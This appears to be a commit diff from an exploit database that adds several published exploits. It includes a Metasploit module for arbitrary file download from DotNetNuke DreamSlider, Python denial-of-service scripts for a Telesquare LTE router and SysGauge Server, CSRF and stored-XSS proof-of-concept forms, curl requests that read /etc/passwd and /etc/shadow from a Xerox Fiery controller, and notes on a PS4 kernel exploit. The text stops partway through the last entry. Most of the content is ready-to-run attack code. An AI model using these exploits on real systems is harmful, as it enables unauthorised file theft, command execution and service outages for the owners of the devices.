DB: 2017-12-28
9 changes to exploits/shellcodes Telesquare SKT LTE Router SDT-CS3B1 - Denial of Service SysGauge Server 3.6.18 - Denial of Service ALLMediaServer 0.95 - Buffer Overflow Sony Playstation 4 4.05 FW - Local Kernel Loader Xerox DC260 EFI Fiery Controller Webtools 2.0 - Arbitrary File Disclosure Easy!Appointments 1.2.1 - Cross-Site Scripting Telesquare SKT LTE Router SDT-CS3B1 - Cross-Site Request Forgery Telesquare SKT LTE Router SDT-CS3B1 - Information Disclosure DotNetNuke DreamSlider 01.01.02 - Arbitrary File Download
This commit is contained in:
Offensive Security
parent
b91055c9da
commit
267f841bd8
10 changed files with 681 additions and 0 deletions
131
exploits/aspx/webapps/43405.rb
Executable file
131
exploits/aspx/webapps/43405.rb
Executable file
|
|
@ -0,0 +1,131 @@
|
||||||
|
# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download
|
||||||
|
# Date: 23/01/2014
|
||||||
|
# Author: Glafkos Charalambous
|
||||||
|
# Version: 01.01.02
|
||||||
|
# Vendor: DreamSlider
|
||||||
|
# Vendor URL: http://www.dreamslider.com/
|
||||||
|
# Google Dork: inurl:/DesktopModules/DreamSlider/
|
||||||
|
# CVE:
|
||||||
|
#
|
||||||
|
# Description
|
||||||
|
# DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability
|
||||||
|
#
|
||||||
|
# Vulnerable Code
|
||||||
|
#
|
||||||
|
# namespace DotNetNuke.Modules.DreamSlider
|
||||||
|
# {
|
||||||
|
# using System;
|
||||||
|
# using System.IO;
|
||||||
|
# using System.Web.SessionState;
|
||||||
|
# using System.Web.UI;
|
||||||
|
#
|
||||||
|
# public class DownloadProvider : Page, IRequiresSessionState
|
||||||
|
# {
|
||||||
|
# protected void Page_Load(object sender, EventArgs e)
|
||||||
|
# {
|
||||||
|
# if (!base.IsPostBack && (base.Request.QueryString["File"] != null))
|
||||||
|
# {
|
||||||
|
# string path = base.Request.QueryString["File"];
|
||||||
|
# string fileName = Path.GetFileName(path);
|
||||||
|
# base.Response.ContentType = "application/octet-stream";
|
||||||
|
# base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
|
||||||
|
# base.Response.WriteFile(path);
|
||||||
|
# base.Response.End();
|
||||||
|
# }
|
||||||
|
# }
|
||||||
|
# }
|
||||||
|
# }
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'DotNetNuke DreamSlider Arbitrary File Download',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an unauthenticated arbitrary file download vulnerability in DNN
|
||||||
|
DreamSlider version 01.01.02 and below.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Glafkos Charalambous', # Discovery and Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://metasploit.com' ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 23 2015'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('FILENAME', [true, 'File to download', '~/web.config']),
|
||||||
|
OptString.new('PATH', [true, 'Path of DNN Nuke', '/']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
begin
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"),
|
||||||
|
'cookie' => datastore['Cookie'],
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 and res.body.to_s =~ /Download Provider/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
begin
|
||||||
|
print_status("#{peer} - Downloading file #{datastore['FILENAME']}")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'],
|
||||||
|
'cookie' => datastore['Cookie'],
|
||||||
|
})
|
||||||
|
|
||||||
|
rescue Rex::ConnectionError
|
||||||
|
print_error("#{peer} - Could not connect.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
if res.body.to_s.bytesize == 0
|
||||||
|
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
fileName = datastore['FILENAME']
|
||||||
|
|
||||||
|
path = store_loot(
|
||||||
|
'ds.http',
|
||||||
|
'application/octet-stream',
|
||||||
|
datastore['RHOST'],
|
||||||
|
res.body,
|
||||||
|
fileName
|
||||||
|
)
|
||||||
|
print_good("#{peer} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to download file.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
32
exploits/bsd/local/43397.md
Normal file
32
exploits/bsd/local/43397.md
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
# PS4 4.05 Kernel Exploit
|
||||||
|
---
|
||||||
|
## Summary
|
||||||
|
In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival.
|
||||||
|
|
||||||
|
You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics ~~here~~ (this is still in progress and will be published within the next few days).
|
||||||
|
|
||||||
|
## Patches Included
|
||||||
|
The following patches are made by default in the kernel ROP chain:
|
||||||
|
1) Disable kernel write protection
|
||||||
|
2) Allow RWX (read-write-execute) memory mapping
|
||||||
|
3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
|
||||||
|
4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
|
||||||
|
5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
- This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel.
|
||||||
|
- I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads.
|
||||||
|
- A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.
|
||||||
|
- An SDK is not provided in this release, however a barebones one to get started with may be released at a later date.
|
||||||
|
- I've released a sample payload [here](http://www.mediafire.com/file/n4boybw0e06h892/debug_settings.bin) that will make the necessary patches to access the debug menu of the system via settings, jailbreaks, and escapes the sandbox.
|
||||||
|
|
||||||
|
## Contributors
|
||||||
|
I was not alone in this exploit's development, and would like to thank those who helped me along the way below.
|
||||||
|
|
||||||
|
- [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
|
||||||
|
- [Flatz](https://twitter.com/flat_z)
|
||||||
|
- [CTurt](https://twitter.com/CTurtE)
|
||||||
|
- Anonymous
|
||||||
|
|
||||||
|
|
||||||
|
E-DB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43397.zip
|
||||||
62
exploits/hardware/dos/43401.py
Executable file
62
exploits/hardware/dos/43401.py
Executable file
|
|
@ -0,0 +1,62 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vendor: Telesquare Co., Ltd.
|
||||||
|
# Product web page: http://www.telesquare.co.kr
|
||||||
|
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
|
||||||
|
# LteVer: ML300S5XEA41_090 1 0.1.0
|
||||||
|
# Modem model: PM-L300S
|
||||||
|
#
|
||||||
|
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
|
||||||
|
# LTE wireless communication based LTE router product.
|
||||||
|
#
|
||||||
|
# Desc: The router suffers from an unauthenticated reboot command execution.
|
||||||
|
# Attackers can exploit this issue to cause a denial of service scenario.
|
||||||
|
#
|
||||||
|
# --------------------------------------------------------------------
|
||||||
|
# /lte/lteuicc.shtml:
|
||||||
|
# -------------------
|
||||||
|
#
|
||||||
|
# 858: function RebootRequest()
|
||||||
|
# 859: {
|
||||||
|
# 860: var url = "../cgi-bin/lte.cgi?";
|
||||||
|
# 861: var param = "Command=Reboot";
|
||||||
|
# 862: XHRPost(RebootHandle, url, param, false ); //sync call
|
||||||
|
# 863: }
|
||||||
|
#
|
||||||
|
# --------------------------------------------------------------------
|
||||||
|
#
|
||||||
|
# Tested on: lighttpd/1.4.20
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
# @zeroscience
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# Advisory ID: ZSL-2017-5444
|
||||||
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# 22.12.2017
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
import sys, requests
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
|
||||||
|
print 'Usage: b00t.py <ip> <port>\n'
|
||||||
|
quit()
|
||||||
|
|
||||||
|
ip = sys.argv[1]
|
||||||
|
port = sys.argv[2]
|
||||||
|
|
||||||
|
r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")
|
||||||
|
|
||||||
|
# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
|
||||||
|
#print r.content #if in r.content: <xml></xml>, reboot true.
|
||||||
|
|
||||||
|
print "Router rebooted."
|
||||||
55
exploits/hardware/webapps/43400.html
Normal file
55
exploits/hardware/webapps/43400.html
Normal file
|
|
@ -0,0 +1,55 @@
|
||||||
|
Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: Telesquare Co., Ltd.
|
||||||
|
Product web page: http://www.telesquare.co.kr
|
||||||
|
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
|
||||||
|
LteVer: ML300S5XEA41_090 1 0.1.0
|
||||||
|
Modem model: PM-L300S
|
||||||
|
|
||||||
|
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
|
||||||
|
LTE wireless communication based LTE router product.
|
||||||
|
|
||||||
|
Desc: The router suffers from authenticated arbitrary system command
|
||||||
|
execution. The application interface allows users to perform certain
|
||||||
|
actions via HTTP requests without performing any validity checks to
|
||||||
|
verify the requests. This can be exploited to perform certain actions
|
||||||
|
with administrative privileges if a logged-in user visits a malicious
|
||||||
|
web site.
|
||||||
|
|
||||||
|
Tested on: lighttpd/1.4.20
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5443
|
||||||
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php
|
||||||
|
|
||||||
|
|
||||||
|
22.12.2017
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
IDOR for system command interface:
|
||||||
|
----------------------------------
|
||||||
|
|
||||||
|
GET /admin/system_command.shtml HTTP/1.1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
PoC GET CSRF request:
|
||||||
|
---------------------
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
|
||||||
|
<input type="hidden" name="Command" value="sysCommand" />
|
||||||
|
<input type="hidden" name="Cmd" value="uname%20-a" />
|
||||||
|
<input type="hidden" name="T" value="8168008531337" />
|
||||||
|
<input type="submit" value="Send" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
53
exploits/hardware/webapps/43402.txt
Normal file
53
exploits/hardware/webapps/43402.txt
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: Telesquare Co., Ltd.
|
||||||
|
Product web page: http://www.telesquare.co.kr
|
||||||
|
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
|
||||||
|
LteVer: ML300S5XEA41_090 1 0.1.0
|
||||||
|
Modem model: PM-L300S
|
||||||
|
|
||||||
|
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
|
||||||
|
LTE wireless communication based LTE router product.
|
||||||
|
|
||||||
|
Desc: Insecure direct object references occur when an application
|
||||||
|
provides direct access to objects based on user-supplied input. As
|
||||||
|
a result of this vulnerability attackers can bypass authorization
|
||||||
|
and access resources and functionalities in the system.
|
||||||
|
|
||||||
|
Tested on: lighttpd/1.4.20
|
||||||
|
Linux mips
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5445
|
||||||
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5445.php
|
||||||
|
|
||||||
|
|
||||||
|
22.12.2017
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/home.html << Version and status info leak (firmware, device, type, modem, lte)
|
||||||
|
/index.html << Version and status info leak (firmware, device, type, modem, lte)
|
||||||
|
/nas/smbsrv.shtml << Samba server settings (workgroup, netbios name)
|
||||||
|
/nas/ftpsrv.shtml << FTP settings
|
||||||
|
/wifi2g/basic.shtml << Wireless settings
|
||||||
|
/admin/status.shtml << Access point status info leak
|
||||||
|
/internet/wan.shtml << WAN settings info leak (wanip, subnet, gateway, macaddr, lteipaddr, dns)
|
||||||
|
/internet/lan.shtml << LAN settings info leak (dhcpip, lanip, macaddr, gateway, subnet, dns)
|
||||||
|
/admin/statistic.shtml << System statistics info leak
|
||||||
|
/admin/management.shtml << System management (account settings, ntp settings, ddns settings)
|
||||||
|
/serial/serial_direct.shtml << Direct serial settings (network connection settings, serverip, port)
|
||||||
|
/admin/system_command.shtml << System command interface
|
||||||
|
/internet/dhcpcliinfo.shtml << DHCP Clients info leak (hostname, macaddr, ipaddr)
|
||||||
|
/admin/upload_firmware.shtml << Router firmware and lte firmware upgrade
|
||||||
|
/firewall/vpn_futuresystem.shtml << VPN settings (udp packet transfer, icmp check)
|
||||||
|
/cgi-bin/lte.cgi?Command=getUiccState << GetUiccState()
|
||||||
|
/cgi-bin/lte.cgi?Command=getModemStatus << Modem status info leak
|
||||||
|
/cgi-bin/systemutil.cgi?Command=SystemInfo << System info leak
|
||||||
142
exploits/php/webapps/43398.txt
Normal file
142
exploits/php/webapps/43398.txt
Normal file
|
|
@ -0,0 +1,142 @@
|
||||||
|
Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: Electronics for Imaging, Inc.
|
||||||
|
Product web page: http://www.efi.com
|
||||||
|
Affected version: EFI Fiery Controller SW2.0
|
||||||
|
Xerox DocuColor 260, 250, 242
|
||||||
|
|
||||||
|
Summary: Drive production profitability with Fiery servers and workflow
|
||||||
|
products. See which Fiery digital front end is right for your current
|
||||||
|
or future print engines and business needs. Manage all your printers
|
||||||
|
from a single screen using this intuitive print job management interface.
|
||||||
|
|
||||||
|
Desc: Input passed thru the 'file' GET parameter in 'forceSave.php'
|
||||||
|
script is not properly sanitized before being used to read files. This
|
||||||
|
can be exploited by an unauthenticated attacker to read arbitrary files
|
||||||
|
on the affected system.
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
/wt3/js/save.js:
|
||||||
|
----------------
|
||||||
|
|
||||||
|
103: function parseSaveMessages() {
|
||||||
|
104: var urlNode = saveDocument.getElementsByTagName('url').item(0);
|
||||||
|
105: var url = urlNode.firstChild.data;
|
||||||
|
106: var forcedSaveUrl = "forceSave.php?file=" + url;
|
||||||
|
107: window.open(forcedSaveUrl, 'save_iframe', 'width=1,height=1');
|
||||||
|
|
||||||
|
====
|
||||||
|
|
||||||
|
/wt3/forceSave.php:
|
||||||
|
-------------------
|
||||||
|
1. <?php
|
||||||
|
2. //code posted by chrisputnam at gmail dot com
|
||||||
|
3. function readfile_chunked($filename,$retbytes=true)
|
||||||
|
4. {
|
||||||
|
5. $chunksize = 1*(1024*1024); // how many bytes per chunk
|
||||||
|
6. $buffer = '';
|
||||||
|
7. $cnt =0;
|
||||||
|
8. // $handle = fopen($filename, 'rb');
|
||||||
|
9. $handle = fopen($filename, 'rb');
|
||||||
|
10. if ($handle === false)
|
||||||
|
11. {
|
||||||
|
12. return false;
|
||||||
|
13. }
|
||||||
|
14. while (!feof($handle))
|
||||||
|
15. {
|
||||||
|
16. //read a chunk
|
||||||
|
17. $buffer = fread($handle, $chunksize);
|
||||||
|
18. //send the chunk
|
||||||
|
19. echo $buffer;
|
||||||
|
20. //flush the chunk
|
||||||
|
21. flush();
|
||||||
|
22. //increment the size read/sent
|
||||||
|
23. if ($retbytes)
|
||||||
|
24. {
|
||||||
|
25. $cnt += strlen($buffer);
|
||||||
|
26. }
|
||||||
|
27. }
|
||||||
|
28. //close file
|
||||||
|
29. $status = fclose($handle);
|
||||||
|
30. if ($retbytes && $status)
|
||||||
|
31. {
|
||||||
|
32. return $cnt; // return num. bytes delivered like readfile() does.
|
||||||
|
33. }
|
||||||
|
34. return $status;
|
||||||
|
35. }
|
||||||
|
36.
|
||||||
|
37. $filename = $_GET['file'];
|
||||||
|
38. if(!$filename)
|
||||||
|
39. {
|
||||||
|
40. echo "ERROR: No filename specified. Please try again.";
|
||||||
|
41. }
|
||||||
|
42. else
|
||||||
|
43. {
|
||||||
|
44. // fix for IE caching or PHP bug issue
|
||||||
|
45. header("Pragma: public");
|
||||||
|
46. header("Expires: 0"); // set expiration time
|
||||||
|
47. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
|
||||||
|
48. // browser must download file from server instead of cache
|
||||||
|
49.
|
||||||
|
50. // force download dialog
|
||||||
|
51. header("Content-Type: application/force-download");
|
||||||
|
52. header("Content-Type: application/octet-stream");
|
||||||
|
53. header("Content-Type: application/download");
|
||||||
|
54.
|
||||||
|
55. // use the Content-Disposition header to supply a recommended filename and
|
||||||
|
56. // force the browser to display the save dialog.
|
||||||
|
57. header("Content-Disposition: attachment; filename=" . basename($filename) . ";");
|
||||||
|
58. header("Content-Transfer-Encoding: binary");
|
||||||
|
59.
|
||||||
|
60. header("Content-Length: " . filesize($filename));
|
||||||
|
61.
|
||||||
|
62. set_time_limit(0);
|
||||||
|
63. readfile_chunked($filename, false);
|
||||||
|
64.
|
||||||
|
65. exit();
|
||||||
|
66. }
|
||||||
|
67.
|
||||||
|
68. ?>
|
||||||
|
|
||||||
|
======================================================================
|
||||||
|
|
||||||
|
|
||||||
|
Tested on: Debian GNU/Linux 3.1
|
||||||
|
Apache
|
||||||
|
PHP/5.4.41
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5447
|
||||||
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php
|
||||||
|
|
||||||
|
|
||||||
|
20.12.2017
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
# curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/passwd"
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||||
|
bin:x:2:2:bin:/bin:/bin/sh
|
||||||
|
sys:x:3:3:sys:/dev:/bin/sh
|
||||||
|
sync:x:4:100:sync:/bin:/bin/sync
|
||||||
|
games:x:5:100:games:/usr/games:/bin/sh
|
||||||
|
...
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
|
# curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/shadow"
|
||||||
|
root:LUUVeT6GbOy9I:10978:0:99999:7:::
|
||||||
|
daemon:*:10979:0:99999:7:::
|
||||||
|
bin:*:10979:0:99999:7:::
|
||||||
|
sys:*:10979:0:99999:7:::
|
||||||
|
sync:*:10979:0:99999:7:::
|
||||||
|
games:*:10979:0:99999:7:::
|
||||||
|
...
|
||||||
|
...
|
||||||
112
exploits/php/webapps/43399.txt
Normal file
112
exploits/php/webapps/43399.txt
Normal file
|
|
@ -0,0 +1,112 @@
|
||||||
|
Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: Alex Tselegidis
|
||||||
|
Product web page: http://www.easyappointments.org
|
||||||
|
Affected version: 1.2.1
|
||||||
|
|
||||||
|
Summary: Easy!Appointments is a highly customizable web application
|
||||||
|
that allows your customers to book appointments with you via the web.
|
||||||
|
Moreover, it provides the ability to sync your data with Google Calendar
|
||||||
|
so you can use them with other services. It is an open source project
|
||||||
|
and you can download and install it even for commercial use. Easy!Appointments
|
||||||
|
will run smoothly with your existing website, because it can be installed
|
||||||
|
in a single folder of the server and of course, both sites can share
|
||||||
|
the same database. Learn more about the project in the Features page.
|
||||||
|
|
||||||
|
Desc: The application suffers from multiple stored and reflected XSS
|
||||||
|
vulnerabilities. The issues are triggered when an unauthorized input
|
||||||
|
passed via multiple POST and GET parameters is not properly sanitized
|
||||||
|
before being returned to the user. This can be exploited to execute
|
||||||
|
arbitrary HTML and script code in a user's browser session in context
|
||||||
|
of an affected site.
|
||||||
|
|
||||||
|
Tested on: Apache/2.4.23 (Win32)
|
||||||
|
OpenSSL/1.0.2h
|
||||||
|
MariaDB-10.1.19
|
||||||
|
PHP/5.6.28
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5442
|
||||||
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php
|
||||||
|
|
||||||
|
|
||||||
|
20.10.2017
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
{"name":"XSS1","description":"Description"}
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
|
||||||
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
||||||
|
<input type="hidden" name="category" value="{"name":"XSS1","description":"Description"}" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
|
||||||
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
||||||
|
<input type="hidden" name="service_id" value='"><script>alert(2)</script>' />
|
||||||
|
<input type="hidden" name="provider_id" value="85" />
|
||||||
|
<input type="hidden" name="selected_date" value="2017-11-30" />
|
||||||
|
<input type="hidden" name="service_duration" value="30" />
|
||||||
|
<input type="hidden" name="manage_mode" value="false" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
|
||||||
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
||||||
|
<input type="hidden" name="service_id" value="13" />
|
||||||
|
<input type="hidden" name="provider_id" value="85" />
|
||||||
|
<input type="hidden" name="selected_date" value="<marquee>" />
|
||||||
|
<input type="hidden" name="service_duration" value="30" />
|
||||||
|
<input type="hidden" name="manage_mode" value="false" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
|
||||||
|
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
|
||||||
|
<input type="hidden" name="post_data[customer][last_name]" value="sdadsd" />
|
||||||
|
<input type="hidden" name="post_data[customer][first_name]" value="asdasd" />
|
||||||
|
<input type="hidden" name="post_data[customer][email]" value="asdasd@bbb.dd" />
|
||||||
|
<input type="hidden" name="post_data[customer][phone_number]" value="1112223333" />
|
||||||
|
<input type="hidden" name="post_data[customer][address]" value="" />
|
||||||
|
<input type="hidden" name="post_data[customer][city]" value="" />
|
||||||
|
<input type="hidden" name="post_data[customer][zip_code]" value="" />
|
||||||
|
<input type="hidden" name="post_data[appointment][start_datetime]" value=""><script>alert(3)</script>" />
|
||||||
|
<input type="hidden" name="post_data[appointment][end_datetime]" value="2017-11-30 16:00:00" />
|
||||||
|
<input type="hidden" name="post_data[appointment][notes]" value="" />
|
||||||
|
<input type="hidden" name="post_data[appointment][is_unavailable]" value="false" />
|
||||||
|
<input type="hidden" name="post_data[appointment][id_users_provider]" value="85" />
|
||||||
|
<input type="hidden" name="post_data[appointment][id_services]" value="13" />
|
||||||
|
<input type="hidden" name="post_data[manage_mode]" value="false" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
41
exploits/windows/dos/43403.py
Executable file
41
exploits/windows/dos/43403.py
Executable file
|
|
@ -0,0 +1,41 @@
|
||||||
|
# Exploit Title: SysGauge Server 3.6.18 - DOS
|
||||||
|
# Date: 2017-10-20
|
||||||
|
# Exploit Author: Ahmad Mahfouz
|
||||||
|
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe
|
||||||
|
# Version: v3.6.18
|
||||||
|
# Category; Windows Remote DOS
|
||||||
|
# CVE: CVE-2017-15667
|
||||||
|
# Author Homepage: www.unixawy.com
|
||||||
|
# Description: SysGauge Server 3.6.18 the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9221.
|
||||||
|
|
||||||
|
#!/usr/bin/env python
|
||||||
|
import socket
|
||||||
|
target = "192.168.72.133"
|
||||||
|
port = 9221
|
||||||
|
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
s.connect((target,port))
|
||||||
|
packet = "\x75\x19\xba\xab\x03"
|
||||||
|
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
|
||||||
|
packet += "\x00"
|
||||||
|
packet += "\x3e"
|
||||||
|
packet += "\x00"
|
||||||
|
packet += "\x20"
|
||||||
|
packet += "\x00"
|
||||||
|
packet += "\x00"
|
||||||
|
packet += "\x00"
|
||||||
|
packet += "\x00\x00\x00\x00"
|
||||||
|
packet += "SERVER_GET_INFO"
|
||||||
|
packet += "\x02\x32\x01"
|
||||||
|
packet += "Data"
|
||||||
|
packet += "\x01\x30\x01\x00"
|
||||||
|
packet += "\x04\x02\x74"
|
||||||
|
packet += "\x18\x18\x00"
|
||||||
|
s.send(packet)
|
||||||
|
|
||||||
|
try:
|
||||||
|
|
||||||
|
data = s.recv(100)
|
||||||
|
|
||||||
|
except:
|
||||||
|
|
||||||
|
print "K1LL3D"
|
||||||
44
exploits/windows/dos/43406.py
Executable file
44
exploits/windows/dos/43406.py
Executable file
|
|
@ -0,0 +1,44 @@
|
||||||
|
# Exploit Title: Buffer overflow in ALLPlayer ALLMediaServer 0.95 and earlier
|
||||||
|
# CVE: CVE-2017-17932
|
||||||
|
# Date: 27-12-2017
|
||||||
|
# Exploit Author: Aloyce J. Makalanga
|
||||||
|
# Contact: https://twitter.com/aloycemjr
|
||||||
|
# Vendor Homepage: http://www.allmediaserver.org/
|
||||||
|
# Category: webapps
|
||||||
|
# Attack Type: Remote
|
||||||
|
# Impact: Code execution and/or Denial of Service
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
